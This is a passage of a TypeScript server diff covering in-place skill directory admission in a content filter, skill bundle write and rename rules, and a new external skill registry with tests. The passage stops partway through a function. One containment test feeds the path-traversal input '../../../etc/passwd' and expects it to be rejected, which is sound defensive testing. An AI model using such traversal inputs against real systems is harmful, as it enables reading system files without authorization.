@@ -204,8 +221,8 @@ function isSkillContentFile(relativePath: string): boolean {
function isSkillContentAncestorDir(relativePath: string): boolean {
return (
relativePath === '.ok' ||
- relativePath === SKILL_CONTENT_ROOT ||
- relativePath.startsWith(`${SKILL_CONTENT_ROOT}/`)
+ relativePath === LEGACY_SKILL_STORE_ROOT ||
+ relativePath.startsWith(`${LEGACY_SKILL_STORE_ROOT}/`)
);
}
@@ -228,6 +245,46 @@ function globBlocksSkillContent(pattern: string): boolean {
return p === '.ok' || p === '.ok/**' || p === '**/.ok' || p === '**/.ok/**';
}
+/**
+ * In-place skill admission (spec: in-place skill versioning). Unlike the
+ * `.ok/skills` carve-out (a fixed prefix), in-place skills live in the various
+ * editor host dirs (`.claude/skills/<name>`, `.codex/skills/<name>`, …), which
+ * are otherwise wholesale-skipped. So admission is a registry-driven ALLOW-LIST
+ * keyed on the exact canonical bundle dirs, NOT a path prefix — copies and
+ * conflicts are absent from the set and stay excluded. `dirs` are contentDir-
+ * relative, '/'-joined, no leading/trailing slash.
+ */
+
+/** True for a FILE under one of the admitted in-place skill bundle dirs. */
+function isInPlaceSkillFile(relativePath: string, dirs: ReadonlySet<string>): boolean {
+ if (dirs.size === 0) return false;
+ for (const d of dirs) {
+ if (relativePath.startsWith(`${d}/`)) return true;
+ }
+ return false;
+}
+
+/**
+ * True for a DIR that must stay descendable to reach an admitted in-place skill
+ * bundle: the bundle dir itself, anything under it, and every ancestor on the way
+ * (`.claude`, `.claude/skills`) so the walk can descend to it. Ancestors admit
+ * only the descent — the file-level predicates + secret/always-skip floors keep
+ * every non-skill editor child (`.claude/plugins`, config, secrets) excluded.
+ */
+function isInPlaceSkillAncestorDir(relativePath: string, dirs: ReadonlySet<string>): boolean {
+ if (dirs.size === 0) return false;
+ for (const d of dirs) {
+ if (
+ d === relativePath ||
+ d.startsWith(`${relativePath}/`) ||
+ relativePath.startsWith(`${d}/`)
+ ) {
+ return true;
+ }
+ }
+ return false;
+}
+
/**
* File basenames that are pure OS-metadata junk — never user-authored content,
* useful in no mode. The file-level analogue of `ALWAYS_SKIP_DIRS`: pruned even
@@ -547,6 +604,29 @@ export interface ContentFilterOptions {
* `isPathIgnored`, not `isExcluded`.
*/
singleDocRelPath?: string;
+ /**
+ * In-place skill admission (spec: in-place skill versioning). The set of
+ * contentDir-relative CANONICAL skill bundle dirs (`<editor>/skills/<name>`)
+ * to admit as content. A gitignored bundle is NOT admitted: the user has said
+ * that path stays out of git, and admitting it makes the sync engine try to
+ * commit an ignored path, which git refuses and which strands sync offline.
+ * Such a bundle still LISTS as its own skill row (the scan is independent of
+ * admission) — it is readable and comparable, just not a tracked content doc.
+ * An ALLOW-LIST:
+ * only these exact bundle dirs (and their ancestor chain, so the walk descends
+ * to reach them) are admitted out of the otherwise-skipped editor host dirs;
+ * copies + conflicts are simply absent, so never admitted. Empty / omitted =
+ * feature off (editor host dirs stay fully skipped, current behavior). The
+ * secret floor still runs first, so secrets under a skill dir stay excluded.
+ */
+ inPlaceSkillDirs?: ReadonlySet<string>;
+ /**
+ * Optional provider re-run inside `rebuildIgnorePatterns()` to refresh the
+ * in-place skill allow-list (live re-scan on skill add/remove). Throws are
+ * swallowed — the previous set is kept. Absent = the construction-time set
+ * is permanent.
+ */
+ rescanInPlaceSkillDirs?: () => ReadonlySet<string>;
/**
* Optional callback fired AFTER a successful in-place rebuild via
* `rebuildIgnorePatterns()`. The caller wires backlink-index and tag-index
@@ -676,6 +756,10 @@ export interface ContentFilter {
*/
export function createContentFilter(opts: ContentFilterOptions): ContentFilter {
const { projectDir, contentDir, onAfterRebuild, singleDocRelPath } = opts;
+ // Registry-driven allow-list of canonical in-place skill bundle dirs. Empty =
+ // feature off (editor host dirs stay fully skipped). Refreshed per rebuild
+ // via `rescanInPlaceSkillDirs` when provided (live re-scan).
+ let inPlaceSkillDirs: ReadonlySet<string> = opts.inPlaceSkillDirs ?? new Set();
// Precompute the contentDir-to-projectDir prefix for path conversion.
// When contentDir is outside projectDir, the relative path starts with ".."
@@ -898,7 +982,11 @@ export function createContentFilter(opts: ContentFilterOptions): ContentFilter {
// file-level carve-out must defer to the always-skip floor under bypass
// too — otherwise a caller passing `bypassFilters` straight to `isExcluded`
// on a `.ok/skills/...` path would get inconsistent admission.
- if (!opts?.bypassFilters && isSkillContentFile(relativePath)) {
+ if (
+ !opts?.bypassFilters &&
+ (isSkillContentFile(relativePath) ||
+ (isInPlaceSkillFile(relativePath, inPlaceSkillDirs) && !isIgnored(relativePath)))
+ ) {
if (singleDocRelPath !== undefined) return relativePath !== singleDocRelPath;
if (isSupportedDocFile(relativePath)) return false;
const ext = extname(relativePath).slice(1).toLowerCase();
@@ -967,7 +1055,12 @@ export function createContentFilter(opts: ContentFilterOptions): ContentFilter {
// under Show All Files the always-skip floor below must still prune `.ok`
// (it's an internal dir, not user content — surfacing it as a folder broke
// the showAll folder-listing contract and the hasFolders gate).
- if (!opts?.bypassFilters && isSkillContentAncestorDir(relativePath)) return false;
+ if (
+ !opts?.bypassFilters &&
+ (isSkillContentAncestorDir(relativePath) ||
+ isInPlaceSkillAncestorDir(relativePath, inPlaceSkillDirs))
+ )
+ return false;
// Always-skip floor — prune VCS / dependency / OK-state dirs even under
// bypass. Show All Files must never descend into `.git/`, `node_modules/`,
// or `.ok/`: on a repo-root content dir those trees (a multi-GB `.git`,
@@ -1024,7 +1117,11 @@ export function createContentFilter(opts: ContentFilterOptions): ContentFilter {
// Skills-as-content: project skill files under `.ok/skills/**` are
// servable content (asset-serve consults `isPathIgnored`). Admit them
// before the `.ok` always-skip floor.
- if (isSkillContentFile(relativePath)) return false;
+ if (
+ isSkillContentFile(relativePath) ||
+ (isInPlaceSkillFile(relativePath, inPlaceSkillDirs) && !isIgnored(relativePath))
+ )
+ return false;
if (pathHasAlwaysSkipSegment(relativePath)) return true;
if (isAlwaysSkipFile(relativePath)) return true;
if (opts?.bypassFilters) return false;
@@ -1069,6 +1166,18 @@ export function createContentFilter(opts: ContentFilterOptions): ContentFilter {
},
async rebuildIgnorePatterns(): Promise<RebuildResult> {
+ // Refresh the in-place skill allow-list first (live re-scan): the new
+ // set governs the dirCount refresh + every predicate after the swap. A
+ // provider throw keeps the previous set (fail-soft, matching the
+ // per-file ignore-read semantics).
+ if (opts.rescanInPlaceSkillDirs) {
+ try {
+ inPlaceSkillDirs = opts.rescanInPlaceSkillDirs();
+ } catch (err) {
+ log.warn({ err }, 'in-place skill re-scan failed — keeping previous allow-list');
+ }
+ }
+
// Snapshot for rollback. dirCount is too large to snapshot — we re-walk
// it from the rolled-back ig instance if rebuild fails partway.
const prevIg = ig;
@@ -1388,6 +1497,7 @@ async function initContentDirStateAsync(
*/
export async function createContentFilterAsync(opts: ContentFilterOptions): Promise<ContentFilter> {
const { projectDir, contentDir, onAfterRebuild, singleDocRelPath } = opts;
+ let inPlaceSkillDirs: ReadonlySet<string> = opts.inPlaceSkillDirs ?? new Set();
const contentRelPrefix = toPosix(relative(projectDir, contentDir));
const contentOutsideProject = contentRelPrefix.startsWith('..');
@@ -1530,7 +1640,11 @@ export async function createContentFilterAsync(opts: ContentFilterOptions): Prom
// Skills-as-content carve-out — admit project skill docs + linkable assets
// under `.ok/skills/**` (see sync variant for rationale, incl. the
// `!bypassFilters` gate that mirrors `isDirExcluded`).
- if (!opts?.bypassFilters && isSkillContentFile(relativePath)) {
+ if (
+ !opts?.bypassFilters &&
+ (isSkillContentFile(relativePath) ||
+ (isInPlaceSkillFile(relativePath, inPlaceSkillDirs) && !isIgnored(relativePath)))
+ ) {
if (singleDocRelPath !== undefined) return relativePath !== singleDocRelPath;
if (isSupportedDocFile(relativePath)) return false;
const skillExt = extname(relativePath).slice(1).toLowerCase();
@@ -1565,7 +1679,12 @@ export async function createContentFilterAsync(opts: ContentFilterOptions): Prom
// Skills-as-content: keep `.ok` / `.ok/skills` / `.ok/skills/**`
// descendable for the NORMAL index walk only (see sync variant); under
// bypass the always-skip floor below keeps `.ok` pruned.
- if (!opts?.bypassFilters && isSkillContentAncestorDir(relativePath)) return false;
+ if (
+ !opts?.bypassFilters &&
+ (isSkillContentAncestorDir(relativePath) ||
+ isInPlaceSkillAncestorDir(relativePath, inPlaceSkillDirs))
+ )
+ return false;
// Always-skip floor — survives bypass; load-bearing OOM fix for the
// `?showAll=true` walk. `showOk` re-admits `.ok` minus
// `worktrees`/`local` (see sync variant for rationale).
@@ -1603,7 +1722,11 @@ export async function createContentFilterAsync(opts: ContentFilterOptions): Prom
// Skills-as-content: project skill files under `.ok/skills/**` are
// servable content (asset-serve consults `isPathIgnored`). Admit them
// before the `.ok` always-skip floor.
- if (isSkillContentFile(relativePath)) return false;
+ if (
+ isSkillContentFile(relativePath) ||
+ (isInPlaceSkillFile(relativePath, inPlaceSkillDirs) && !isIgnored(relativePath))
+ )
+ return false;
if (pathHasAlwaysSkipSegment(relativePath)) return true;
if (isAlwaysSkipFile(relativePath)) return true;
if (opts?.bypassFilters) return false;
@@ -1644,6 +1767,15 @@ export async function createContentFilterAsync(opts: ContentFilterOptions): Prom
},
async rebuildIgnorePatterns(): Promise<RebuildResult> {
+ // Refresh the in-place skill allow-list first (live re-scan) — mirrors
+ // the sync factory; a provider throw keeps the previous set.
+ if (opts.rescanInPlaceSkillDirs) {
+ try {
+ inPlaceSkillDirs = opts.rescanInPlaceSkillDirs();
+ } catch (err) {
+ log.warn({ err }, 'in-place skill re-scan failed — keeping previous allow-list');
+ }
+ }
const prevIg = ig;
const prevOkignoreIg = okignoreIg;
const prevWatcherGlobs = watcherIgnoreGlobs;
diff --git a/packages/server/src/content/skills-write.test.ts b/packages/server/src/content/skills-write.test.ts
index 20e88d3f6..4af2845a1 100644
--- a/packages/server/src/content/skills-write.test.ts
+++ b/packages/server/src/content/skills-write.test.ts
@@ -92,10 +92,11 @@ describe('applySkillWrite', () => {
if (!result.ok) expect(result.error.code).toBe('RESERVED_NAME');
});
- test('rejects empty description and over-long description', () => {
+ test('allows empty description (draft) and rejects over-long description', () => {
+ // Empty description is a valid draft — "Start blank" creates with no
+ // description and the author fills it in the live editor.
const empty = applySkillWrite({ skillsRoot, name: 'a', body: 'b', frontmatter: fm('a', '') });
- expect(empty.ok).toBe(false);
- if (!empty.ok) expect(empty.error.code).toBe('SKILL_DESCRIPTION_REQUIRED');
+ expect(empty.ok).toBe(true);
const long = applySkillWrite({
skillsRoot,
@@ -271,6 +272,52 @@ describe('applySkillBundleFileWrite / applySkillBundleFileDelete (fs-direct)', (
if (!tooLarge.ok) expect(tooLarge.error.code).toBe('FILE_TOO_LARGE');
});
+ test('accepts full-directory bundle files (root, non-standard subdir, binary)', () => {
+ seedSkill();
+ const skillDir = join(skillsRoot, 'trip-log');
+
+ // Root-level file — the old references/scripts-only gate rejected these.
+ const rootFile = applySkillBundleFileWrite({
+ skillsRoot,
+ name: 'trip-log',
+ relPath: 'config.json',
+ content: '{"a":1}',
+ });
+ expect(rootFile.ok).toBe(true);
+ expect(readFileSync(join(skillDir, 'config.json'), 'utf-8')).toBe('{"a":1}');
+
+ // Non-standard subdir.
+ const asset = applySkillBundleFileWrite({
+ skillsRoot,
+ name: 'trip-log',
+ relPath: 'assets/note.txt',
+ content: 'hi',
+ });
+ expect(asset.ok).toBe(true);
+
+ // Binary bytes (round-trip exact).
+ const png = new Uint8Array([0x89, 0x50, 0x00, 0xff]);
+ const bin = applySkillBundleFileWrite({
+ skillsRoot,
+ name: 'trip-log',
+ relPath: 'assets/logo.png',
+ content: null,
+ bytes: png,
+ });
+ expect(bin.ok).toBe(true);
+ expect(Array.from(readFileSync(join(skillDir, 'assets', 'logo.png')))).toEqual(Array.from(png));
+
+ // SKILL.md is not writable as a bundle file (it has its own write path).
+ const skillMd = applySkillBundleFileWrite({
+ skillsRoot,
+ name: 'trip-log',
+ relPath: 'SKILL.md',
+ content: 'nope',
+ });
+ expect(skillMd.ok).toBe(false);
+ if (!skillMd.ok) expect(skillMd.error.code).toBe('BAD_FILE_PATH');
+ });
+
test('enforces the per-skill file-count cap', () => {
seedSkill();
for (let i = 0; i < 50; i++) {
@@ -292,6 +339,30 @@ describe('applySkillBundleFileWrite / applySkillBundleFileDelete (fs-direct)', (
if (!overflow.ok) expect(overflow.error.code).toBe('TOO_MANY_FILES');
});
+ test('accepts an explicit bounded policy for bulk import without changing edit defaults', () => {
+ seedSkill();
+ for (let i = 0; i < 50; i++) {
+ expect(
+ applySkillBundleFileWrite({
+ skillsRoot,
+ name: 'trip-log',
+ relPath: `references/r${i}.md`,
+ content: `# ${i}`,
+ }).ok,
+ ).toBe(true);
+ }
+
+ const imported = applySkillBundleFileWrite({
+ skillsRoot,
+ name: 'trip-log',
+ relPath: 'assets/large.bin',
+ content: null,
+ bytes: new Uint8Array(256 * 1024 + 1),
+ limits: { maxFiles: 512, maxFileBytes: 16 * 1024 * 1024 },
+ });
+ expect(imported.ok).toBe(true);
+ });
+
test('deletes a bundle file and prunes the emptied dir; no-op reports existed:false', () => {
seedSkill();
applySkillBundleFileWrite({
diff --git a/packages/server/src/content/skills-write.ts b/packages/server/src/content/skills-write.ts
index 094a8592e..e304bde10 100644
--- a/packages/server/src/content/skills-write.ts
+++ b/packages/server/src/content/skills-write.ts
@@ -8,7 +8,7 @@
* name IS the skill name (load-bearing: it becomes the projected dir name
* and the agent-facing identity).
* - Frontmatter is the Agent Skills schema verbatim: `name` (required, ==dir,
- * `^[a-z0-9-]+$`, ≤64) + `description` (required, ≤1024). NO `version`
+ * `^[a-z0-9-]+$`, ≤64) + `description` (string, empty allowed for drafts, ≤1024). NO `version`
* field; NO XML tags anywhere in `name`/`description` (breaks Claude Cowork
* and the skill loader). OK must NOT inject its own descriptive frontmatter.
*
@@ -23,17 +23,7 @@
* exactly as `applyTemplateMove`).
*/
-import {
- existsSync,
- mkdirSync,
- readdirSync,
- renameSync,
- rmdirSync,
- rmSync,
- statSync,
- unlinkSync,
- writeFileSync,
-} from 'node:fs';
+import { existsSync, readdirSync, statSync } from 'node:fs';
import { isAbsolute, join, normalize, sep } from 'node:path';
import {
containsXmlTag,
@@ -41,6 +31,17 @@ import {
type SkillFrontmatter,
} from '@inkeep/open-knowledge-core';
import { stringify as stringifyYaml } from 'yaml';
+// STOP rule: every server-side disk write carries an `fs.*` span. This module
+// predated the rule and was converted wholesale rather than only where new
+// call sites landed, so the next writer here inherits the traced set.
+import {
+ tracedMkdirSync,
+ tracedRenameSync,
+ tracedRmdirSync,
+ tracedRmSync,
+ tracedUnlinkSync,
+ tracedWriteFileSync,
+} from '../fs-traced.ts';
// ── Schema constants (Agent Skills standard) ──────────────────────────────
const NAME_MAX = 64;
@@ -145,7 +146,7 @@ export function applySkillWrite(input: WriteSkillInput): SkillWriteResult {
const { skillDir, filePath } = skillPaths(input.skillsRoot, input.name);
try {
- mkdirSync(skillDir, { recursive: true });
+ tracedMkdirSync(skillDir, { recursive: true });
} catch (err) {
return {
ok: false,
@@ -161,11 +162,11 @@ export function applySkillWrite(input: WriteSkillInput): SkillWriteResult {
// Atomic write: tmp + rename so the file-watcher sees one event.
const tmpPath = `${filePath}.tmp.${process.pid}.${Date.now()}`;
try {
- writeFileSync(tmpPath, content, 'utf-8');
- renameSync(tmpPath, filePath);
+ tracedWriteFileSync(tmpPath, content, 'utf-8');
+ tracedRenameSync(tmpPath, filePath);
} catch (err) {
try {
- unlinkSync(tmpPath);
+ tracedUnlinkSync(tmpPath);
} catch {
// Best effort — tmp may not exist or already moved.
}
@@ -201,6 +202,11 @@ export const BUNDLE_FILE_MAX_BYTES = 256 * 1024;
* cap). */
export const BUNDLE_MAX_FILES = 50;
+export interface BundleFileWriteLimits {
+ readonly maxFileBytes: number;
+ readonly maxFiles: number;
+}
+
interface BundleFileInput {
skillsRoot: string;
/** Skill name (== directory). */
@@ -232,18 +238,21 @@ function resolveBundleFileAbs(
.replace(/\\/g, '/')
.split('/')
.filter((s) => s !== '' && s !== '.');
- if (segments.length < 2 || segments.some((s) => s === '..')) {
+ // Any file in the skill directory is a legitimate bundle file (root files,
+ // `assets/`, `.claude-plugin/`, `scripts/`, `references/`, any subdir) — full
+ // directory fidelity. `SKILL.md` is written through its own path, not here.
+ if (segments.length === 0 || segments.some((s) => s === '..')) {
return {
ok: false,
error: { code: 'BAD_FILE_PATH', message: `Invalid skill file path: ${relPath}` },
};
}
- if (segments[0] !== 'references' && segments[0] !== 'scripts') {
+ if (segments.length === 1 && segments[0] === SKILL_FILE) {
return {
ok: false,
error: {
code: 'BAD_FILE_PATH',
- message: `Skill file must be under references/ or scripts/: ${relPath}`,
+ message: 'SKILL.md is written through the skill write path, not as a bundle file.',
},
};
}
@@ -290,8 +299,16 @@ export function countBundleFiles(skillDir: string): number {
* its skill), an over-cap file, and a per-skill file-count overflow.
*/
export function applySkillBundleFileWrite(
- input: BundleFileInput & { content: string },
+ input: BundleFileInput & {
+ content: string | null;
+ bytes?: Uint8Array;
+ limits?: BundleFileWriteLimits;
+ },
): BundleFileWriteResult {
+ // Text files carry `content`; binary files carry raw `bytes`. Exactly one is
+ // the payload (a text file has `content: string`; a binary file `content: null`
+ // + `bytes`). `payload` is what lands on disk.
+ const payload: string | Uint8Array = input.bytes ?? input.content ?? '';
const base = validateBase(input.skillsRoot);
if (!base.ok) return { ok: false, error: base.error };
const nameCheck = validateName(input.name);
@@ -311,30 +328,33 @@ export function applySkillBundleFileWrite(
if (!resolved.ok) return { ok: false, error: resolved.error };
const { abs } = resolved;
- const byteLength = Buffer.byteLength(input.content, 'utf-8');
- if (byteLength > BUNDLE_FILE_MAX_BYTES) {
+ const byteLength =
+ typeof payload === 'string' ? Buffer.byteLength(payload, 'utf-8') : payload.length;
+ const maxFileBytes = input.limits?.maxFileBytes ?? BUNDLE_FILE_MAX_BYTES;
+ const maxFiles = input.limits?.maxFiles ?? BUNDLE_MAX_FILES;
+ if (byteLength > maxFileBytes) {
return {
ok: false,
error: {
code: 'FILE_TOO_LARGE',
- message: `Skill file ${input.relPath} is ${byteLength} bytes — the per-file cap is ${BUNDLE_FILE_MAX_BYTES}.`,
+ message: `Skill file ${input.relPath} is ${byteLength} bytes — the per-file cap is ${maxFileBytes}.`,
},
};
}
const created = !existsSync(abs);
- if (created && countBundleFiles(skillDir) >= BUNDLE_MAX_FILES) {
+ if (created && countBundleFiles(skillDir) >= maxFiles) {
return {
ok: false,
error: {
code: 'TOO_MANY_FILES',
- message: `Skill "${input.name}" already holds ${BUNDLE_MAX_FILES} bundle files (the cap) — delete one before adding another.`,
+ message: `Skill "${input.name}" already holds ${maxFiles} bundle files (the cap) — delete one before adding another.`,
},
};
}
try {
- mkdirSync(join(abs, '..'), { recursive: true });
+ tracedMkdirSync(join(abs, '..'), { recursive: true });
} catch (err) {
return {
ok: false,
@@ -346,11 +366,12 @@ export function applySkillBundleFileWrite(
}
const tmpPath = `${abs}.tmp.${process.pid}.${Date.now()}`;
try {
- writeFileSync(tmpPath, input.content, 'utf-8');
- renameSync(tmpPath, abs);
+ if (typeof payload === 'string') tracedWriteFileSync(tmpPath, payload, 'utf-8');
+ else tracedWriteFileSync(tmpPath, payload);
+ tracedRenameSync(tmpPath, abs);
} catch (err) {
try {
- unlinkSync(tmpPath);
+ tracedUnlinkSync(tmpPath);
} catch {
// Best effort — tmp may not exist or already moved.
}
@@ -374,6 +395,70 @@ export function applySkillBundleFileWrite(
* `existed: false`. Prunes a now-empty `references/`/`scripts/` dir; never
* touches SKILL.md or the skill dir itself.
*/
+export type BundleFileRenameResult =
+ | { ok: true }
+ | { ok: false; error: { code: string; message: string } };
+
+/**
+ * Rename/move ONE bundle file inside a skill dir. Both paths run the same
+ * allowlist + containment gate as write/delete (`resolveBundleFileAbs`), so a
+ * rename can move between allowed roots (`references/` ↔ `scripts/`) but never
+ * escape the skill dir or touch `SKILL.md`. Refuses to clobber: an existing
+ * destination is an error, never an overwrite. Prunes a now-empty source root
+ * dir, mirroring delete.
+ */
+export function applySkillBundleFileRename(
+ input: BundleFileInput & { toRelPath: string },
+): BundleFileRenameResult {
+ const base = validateBase(input.skillsRoot);
+ if (!base.ok) return { ok: false, error: base.error };
+ const nameCheck = validateName(input.name);
+ if (!nameCheck.ok) return { ok: false, error: nameCheck.error };
+
+ const { skillDir } = skillPaths(input.skillsRoot, input.name);
+ const from = resolveBundleFileAbs(skillDir, input.relPath);
+ if (!from.ok) return { ok: false, error: from.error };
+ const to = resolveBundleFileAbs(skillDir, input.toRelPath);
+ if (!to.ok) return { ok: false, error: to.error };
+
+ if (!existsSync(from.abs)) {
+ return {
+ ok: false,
+ error: { code: 'FILE_NOT_FOUND', message: `No bundle file at ${input.relPath}.` },
+ };
+ }
+ if (existsSync(to.abs)) {
+ return {
+ ok: false,
+ error: {
+ code: 'DEST_EXISTS',
+ message: `A bundle file already exists at ${input.toRelPath} — renames never overwrite.`,
+ },
+ };
+ }
+ try {
+ tracedMkdirSync(join(to.abs, '..'), { recursive: true });
+ tracedRenameSync(from.abs, to.abs);
+ } catch (err) {
+ return {
+ ok: false,
+ error: {
+ code: 'RENAME_FAILED',
+ message: `Failed to rename ${input.relPath} -> ${input.toRelPath}: ${(err as Error).message}`,
+ },
+ };
+ }
+ const parent = join(from.abs, '..');
+ if (parent !== skillDir && isEmpty(parent)) {
+ try {
+ tracedRmdirSync(parent);
+ } catch {
+ // Non-fatal: an unprunable empty dir is cosmetic.
+ }
+ }
+ return { ok: true };
+}
+
export function applySkillBundleFileDelete(input: BundleFileInput): BundleFileDeleteResult {
const base = validateBase(input.skillsRoot);
if (!base.ok) return { ok: false, error: base.error };
@@ -388,7 +473,7 @@ export function applySkillBundleFileDelete(input: BundleFileInput): BundleFileDe
const existed = existsSync(abs);
if (existed) {
try {
- unlinkSync(abs);
+ tracedUnlinkSync(abs);
} catch (err) {
return {
ok: false,
@@ -403,7 +488,7 @@ export function applySkillBundleFileDelete(input: BundleFileInput): BundleFileDe
const parent = join(abs, '..');
if (parent !== skillDir && isEmpty(parent)) {
try {
- rmdirSync(parent);
+ tracedRmdirSync(parent);
} catch {
// race / non-empty — leave it.
}
@@ -425,7 +510,7 @@ export function applySkillDelete(input: DeleteSkillInput): SkillDeleteResult {
if (existed) {
try {
// Remove the whole skill dir (SKILL.md + references/ + scripts/).
- rmSync(skillDir, { recursive: true, force: true });
+ tracedRmSync(skillDir, { recursive: true, force: true });
} catch (err) {
return {
ok: false,
@@ -554,7 +639,7 @@ function validateName(
/**
* Validate the skill frontmatter against the Agent Skills schema:
* - `name` non-empty, ==dir name, no XML tags.
- * - `description` non-empty, ≤1024, no XML tags.
+ * - `description` a string (empty allowed for drafts), ≤1024, no XML tags.
* - NO `version` (or other unknown) keys — the loader ignores them and a
* KB-injected `version` would mislead; reject so authors don't rely on it.
* The no-XML-tag rule is load-bearing: `<...>` in name/description breaks the
@@ -597,13 +682,18 @@ function validateFrontmatter(
},
};
}
- if (typeof fm.description !== 'string' || fm.description.length === 0) {
+ // An empty description is a valid DRAFT: "Start blank" and the New Skill
+ // dialog create with no description and the author fills it in the live
+ // editor. Symmetric with skill-get, which tolerates a missing description so
+ // the editor can load and fix it rather than 500. A non-string is still a
+ // hard error.
+ if (typeof fm.description !== 'string') {
return {
ok: false,
error: {
code: 'SKILL_DESCRIPTION_REQUIRED',
message:
- 'Skill frontmatter.description is required — it is the primary triggering surface (when to use the skill).',
+ 'Skill frontmatter.description must be a string — it is the primary triggering surface (when to use the skill).',
},
};
}
@@ -644,7 +734,7 @@ function skillPaths(skillsRoot: string, name: string): { skillDir: string; fileP
function cleanEmptyDirs(skillsRoot: string): void {
if (existsSync(skillsRoot) && isEmpty(skillsRoot)) {
try {
- rmdirSync(skillsRoot);
+ tracedRmdirSync(skillsRoot);
} catch {
// race / permission — leave it
}
@@ -653,7 +743,7 @@ function cleanEmptyDirs(skillsRoot: string): void {
const okDir = normalize(join(skillsRoot, '..'));
if (okDir.endsWith(`${sep}.ok`) && existsSync(okDir) && isEmpty(okDir)) {
try {
- rmdirSync(okDir);
+ tracedRmdirSync(okDir);
} catch {
// non-empty (frontmatter.yml / templates / local) — leave it
}
diff --git a/packages/server/src/external-skill-registry.test.ts b/packages/server/src/external-skill-registry.test.ts
new file mode 100644
index 000000000..c7d72cda9
--- /dev/null
+++ b/packages/server/src/external-skill-registry.test.ts
@@ -0,0 +1,96 @@
+import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { resolve, sep } from 'node:path';
+import { afterEach, describe, expect, test } from 'vitest';
+import {
+ externalSkillAbsPath,
+ externalSkillDir,
+ registerExternalSkill,
+ unregisterExternalSkill,
+} from './external-skill-registry.ts';
+
+/** Simulates a detected skill living at a harness dir outside any project. */
+function freshSkillDir(): string {
+ const dir = mkdtempSync(resolve(tmpdir(), 'ok-ext-skill-'));
+ writeFileSync(resolve(dir, 'SKILL.md'), '# original\n');
+ return dir;
+}
+
+describe('external-skill-registry — guarded external write core', () => {
+ afterEach(() => {
+ unregisterExternalSkill('foo');
+ unregisterExternalSkill('BAD');
+ });
+
+ test('unregistered skill resolves to null (falls through to normal path)', () => {
+ expect(externalSkillDir('never')).toBeNull();
+ expect(externalSkillAbsPath('never', null)).toBeNull();
+ });
+
+ test('registered SKILL.md resolves under the registered dir', () => {
+ const dir = freshSkillDir();
+ registerExternalSkill('foo', dir);
+ try {
+ expect(externalSkillAbsPath('foo', null)).toBe(resolve(dir, 'SKILL.md'));
+ expect(externalSkillAbsPath('foo', 'references/setup')).toBe(
+ resolve(dir, 'references', 'setup'),
+ );
+ } finally {
+ rmSync(dir, { recursive: true, force: true });
+ }
+ });
+
+ test('byte-fidelity round-trip: write to the resolved SKILL.md, read back verbatim', () => {
+ const dir = freshSkillDir();
+ registerExternalSkill('foo', dir);
+ try {
+ // Bytes with the kinds of content a skill carries: frontmatter, unicode, a
+ // trailing newline, backslashes — must land verbatim (precedent #57).
+ const content = '---\nname: foo\n---\n\n# Foo café\n\nUse `\\d+` and 日本語.\n';
+ const target = externalSkillAbsPath('foo', null);
+ expect(target).not.toBeNull();
+ writeFileSync(target as string, content);
+ // The write landed on the REAL skill file, not a copy elsewhere.
+ expect(target).toBe(resolve(dir, 'SKILL.md'));
+ expect(readFileSync(resolve(dir, 'SKILL.md'), 'utf8')).toBe(content);
+ } finally {
+ rmSync(dir, { recursive: true, force: true });
+ }
+ });
+
+ test('containment: a bundle rel with `..` throws, never escapes the dir', () => {
+ const dir = freshSkillDir();
+ registerExternalSkill('foo', dir);
+ try {
+ expect(() => externalSkillAbsPath('foo', '../../../etc/passwd')).toThrow(
+ /invalid bundle path/,
+ );
+ expect(() => externalSkillAbsPath('foo', 'references/../../escape')).toThrow(
+ /invalid bundle path/,
+ );
+ } finally {
+ rmSync(dir, { recursive: true, force: true });
+ }
+ });
+
+ test('containment: an invalid skill name throws (grammar gate)', () => {
+ // A name that passed registration but violates the slug grammar must still be
+ // refused at resolve time (defense-in-depth).
+ registerExternalSkill('BAD', '/tmp/whatever');
+ expect(() => externalSkillAbsPath('BAD', null)).toThrow(/invalid skill name/);
+ });
+
+ test('every resolved path stays under the registered dir', () => {
+ const dir = freshSkillDir();
+ registerExternalSkill('foo', dir);
+ try {
+ for (const rel of [null, 'references/a', 'scripts/build']) {
+ const abs = externalSkillAbsPath('foo', rel);
+ expect(abs).not.toBeNull();
+ expect((abs as string).startsWith(dir + sep)).toBe(true);
+ }
+ } finally {
+ rmSync(dir, { recursive: true, force: true });
+ }
+ });
+});
diff --git a/packages/server/src/external-skill-registry.ts b/packages/server/src/external-skill-registry.ts
new file mode 100644
index 000000000..7c089f84e
--- /dev/null
+++ b/packages/server/src/external-skill-registry.ts
@@ -0,0 +1,73 @@
+/**
+ * Edit-a-skill-without-managing — the guarded external-write core.
+ *
+ * A detected (unmanaged) skill lives OUTSIDE the project's `contentDir`, at a
+ * harness-specific dir that can't be reconstructed from its name alone
+ * (`~/.claude/skills/<name>`, `~/.codex/skills/<name>`,
+ * `~/.claude/plugins/<plugin>/skills/<name>`, …). To edit it in place, the app
+ * registers the real enumerated dir (`CatalogSkill.home`) when opening the skill,
+ * and persistence resolves + writes through here.
+ *
+ * DATA-SAFETY (the one place OK writes a user's LIVE harness skill): every
+ * resolved path is containment-checked to the registered skill dir. A malformed
+ * name / rel can never escape it — mirrors the guards in `managedArtifactAbsPath`.
+ *
+ * The registry is per-server-process, in memory (an editable unmanaged skill is a
+ * transient editing session; nothing to persist). Registration is keyed by the
+ * skill NAME because detected skills are de-duped by name in the catalog.
+ */
+
+import { resolve, sep } from 'node:path';
+import { SKILL_NAME_REGEX } from '@inkeep/open-knowledge-core';
+
+/** skill name → absolute, realpath'd skill dir the caller enumerated (`home`). */
+const registry = new Map<string, string>();
+
+/** Register (or refresh) the real on-disk dir for an editable unmanaged skill.
+ * `absSkillDir` MUST already be realpath-resolved by the caller. */
+export function registerExternalSkill(name: string, absSkillDir: string): void {
+ registry.set(name, absSkillDir);
+}
+
+/** Drop a skill's registration (on tab close / Manage handoff). */
+export function unregisterExternalSkill(name: string): void {
+ registry.delete(name);
+}
+
+/** The registered dir for a skill, or null when not an editable-unmanaged skill. */
+export function externalSkillDir(name: string): string | null {
+ return registry.get(name) ?? null;
+}
+
+/**
+ * Absolute on-disk path for an external skill doc's `SKILL.md` (`rel === null`)
+ * or a bundle file (`rel`, a `/`-joined ext-less path like `references/setup`).
+ * Returns null when the skill isn't registered (→ caller falls through to the
+ * normal managed-artifact path). THROWS on any name/rel that would escape the
+ * registered dir — the containment gate.
+ */
+export function externalSkillAbsPath(name: string, rel: string | null): string | null {
+ const dir = registry.get(name);
+ if (dir === undefined) return null;
